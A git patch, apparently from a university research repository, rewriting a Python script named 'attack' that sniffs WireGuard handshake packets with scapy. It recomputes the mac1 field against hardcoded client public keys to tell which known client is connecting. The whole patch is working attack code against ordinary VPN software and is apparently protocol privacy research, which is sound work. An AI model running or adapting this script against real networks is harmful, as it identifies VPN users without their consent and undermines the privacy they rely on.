From 0bcf19ac7cc109fb1f8710205cca318ace61092b Mon Sep 17 00:00:00 2001
From: Boris LONJON <boris.lonjon@limos.fr>
Date: Thu, 18 Jan 2024 12:09:41 +0100
Subject: [PATCH] Working script
---
wireguard-attacker/attack | 133 +++++++++++++++++++++-----------------
1 file changed, 73 insertions(+), 60 deletions(-)
diff --git a/wireguard-attacker/attack b/wireguard-attacker/attack
index dad3e24..906ed92 100755
--- a/wireguard-attacker/attack
+++ b/wireguard-attacker/attack
@@ -1,68 +1,81 @@
#!/usr/bin/env python
-
-from pprint import pprint
-from hashlib import blake2b
+import signal
+import sys
+import hashlib
+from base64 import b64decode
from scapy.all import sniff, IP, UDP, Raw
from binascii import hexlify
-from pprint import pprint
-# import subprocess
+MAC_LABEL_CONST = 'mac1----'.encode('utf-8')
CLIENT_1_PUBKEY = '85Ey6fLDcFadWd+MRPHAuBEAHJ6MIUbl2jNsCZJXmRI='
CLIENT_2_PUBKEY = 'gtPyxcaZzC7LkLq/QGzvVLEHaIOfdJ6nb79wx8C7YT8='
-SERVER_PUBKEY = '+O7mAJK0m7Ts62WuP1Et1/RanAq5yFPAgDxuyR9TtD4='
+
+
+def signal_handler(sig, frame):
+ print('You pressed Ctrl+C!\n Exiting')
+ sys.exit(0)
def split_packet(data):
- # if UDP in packet and Raw in packet:
- # udp_payload = packet[UDP].payload
- # if len(udp_payload) >= 32: # Ensure there's enough data for the WireGuard handshake
- # data = bytes(udp_payload)
- if data[0] == 1:
- return {
- 'type': data[0],
- 'reserved': hexlify(data[1:4]),
- 'sender': hexlify(data[4:8]),
- 'ephemeral': hexlify(data[8:40]),
- 'enc_static': hexlify(data[40:88]),
- 'enc_ts': hexlify(data[88:116]),
- 'mac1': hexlify(data[116:132]),
- 'mac2': hexlify(data[132:148])
- }
- if data[0] == 2:
- return {
- 'type': data[0],
- 'reserved': hexlify(data[1:4]),
- 'sender': hexlify(data[4:8]),
- 'ephemeral': hexlify(data[8:40]),
- 'enc_static': hexlify(data[40:88]),
- 'enc_ts': hexlify(data[88:116]),
- 'mac1': hexlify(data[116:132]),
- 'mac2': hexlify(data[132:148])
- }
-
- # # Extract mac1 (last 32 bytes of the UDP payload)
- # hex_udp_payload = hexlify(bytes(udp_payload)[-32:-16])
- # mac1 = hex_udp_payload
- # return mac1.decode('utf-8')
- # return None
-
-
-# Set the network interface to promiscuous mode using subprocess
-interface = "eth1"
-# subprocess.run(["sudo", "ifconfig", interface, "promisc"])
-
-packets = []
-sniff(iface=interface, filter="udp and port 51820", lfilter=lambda packet: bytes(packet[UDP].payload)[0] == 1 or bytes(packet[UDP].payload)[0] == 2, prn=lambda packet: packets.append(bytes(packet[UDP].payload)), count=2)
-
-
-handshake = split_packet(packets[0])
-response = split_packet(packets[1])
-
-
-print('Handshake:')
-print('U=' + str(handshake['enc_static']))
-print('mac1=' + str(handshake['mac1']))
-
-print()
-print('Response:')
-print('U=' + str(response['enc_static']))
-print('mac1=' + str(response['mac1']))
\ No newline at end of file
+ if data[0] == 1:
+ return {
+ 'type': data[0],
+ 'reserved': data[1:4],
+ 'sender': data[4:8],
+ 'ephemeral': data[8:40],
+ 'enc_static': data[40:88],
+ 'enc_ts': data[88:116],
+ 'mac1': data[116:132],
+ 'mac2': data[132:148],
+ }
+ if data[0] == 2:
+ return {
+ 'type': data[0],
+ 'reserved': data[1:4],
+ 'sender': data[4:8],
+ 'receiver': data[8:12],
+ 'ephemeral': data[12:44],
+ 'enc_empty': data[44:60],
+ 'mac1': data[60:76],
+ 'mac2': data[76:92],
+ 'remaining': data[0:60]
+ }
+
+def compute_mac(client_pubkey, packet):
+
+ pubkey = b64decode(client_pubkey)
+
+ items = MAC_LABEL_CONST + pubkey
+ fingerprint = hashlib.blake2s(items, digest_size=32)
+ mac = hashlib.blake2s(packet, key=fingerprint.digest(), digest_size=16)
+
+ return mac
+
+
+def listen():
+
+ interface = "eth1"
+
+ packets = []
+ sniff(iface=interface, filter="udp and port 51820", lfilter=lambda packet: bytes(packet[UDP].payload)[0] == 1 or bytes(packet[UDP].payload)[0] == 2, prn=lambda packet: packets.append(bytes(packet[UDP].payload)), count=2)
+
+ initialization = split_packet(packets[0])
+ response = split_packet(packets[1])
+
+ return (initialization, response)
+
+signal.signal(signal.SIGINT, signal_handler)
+
+print("Press Ctrl+C to exit program\n")
+
+while True:
+
+ packets = listen()
+ response = packets[1]
+
+ c_mac1 = compute_mac(CLIENT_1_PUBKEY, response['remaining'])
+ c_mac2 = compute_mac(CLIENT_2_PUBKEY, response['remaining'])
+
+ print()
+ print('observed mac1 = ' + hexlify(response['mac1']).decode('utf-8'))
+ print("computed mac1 client1 = " + c_mac1.hexdigest())
+ print("computed mac1 client2 = " + c_mac2.hexdigest())
--
GitLab